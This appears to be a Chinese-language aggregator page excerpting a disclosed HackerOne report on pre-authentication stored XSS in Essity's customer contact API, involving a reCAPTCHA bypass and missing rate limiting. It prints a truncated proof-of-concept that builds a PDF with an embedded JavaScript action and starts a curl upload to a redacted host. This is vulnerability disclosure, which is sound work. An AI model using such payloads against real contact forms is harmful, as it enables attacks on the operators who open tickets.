Pre-authentication Stored XSS in Essity Customer-Service Pipeline via ContactApi (reCAPTCHA bypass + no rate limit)
该报告还没有中文解读。
原文摘录
摘自原文(10276 字符中的一小部分)
The Essity customer contact API (`ContactApi.SavePersonalContactExtended` and `SaveProductContactExtended`) accepts unauthenticated ticket submissions with arbitrary HTML/JavaScript in 12+ fields, bypassing reCAPTCHA validation, CSRF protection, and rate limiting. When customer-service operators …
原文中的代码
# Create PDF with JavaScript payload printf '%PDF-1.3\n1 0 obj\n<< /OpenAction << /JS (app.alert(1)) >> >>\nendobj\ntrailer << /Root 1 0 R >>\n%%EOF\n' > /tmp/jsx.pdf curl -sk \ -H 'User-Agent: Mozilla/5.0' \ -H 'X-HackerOne-Research: matty69v' \ -e 'https://████████/de/kontakt/' \ -F …
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Essity 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @matty69v · 版权归作者与 Essity 所有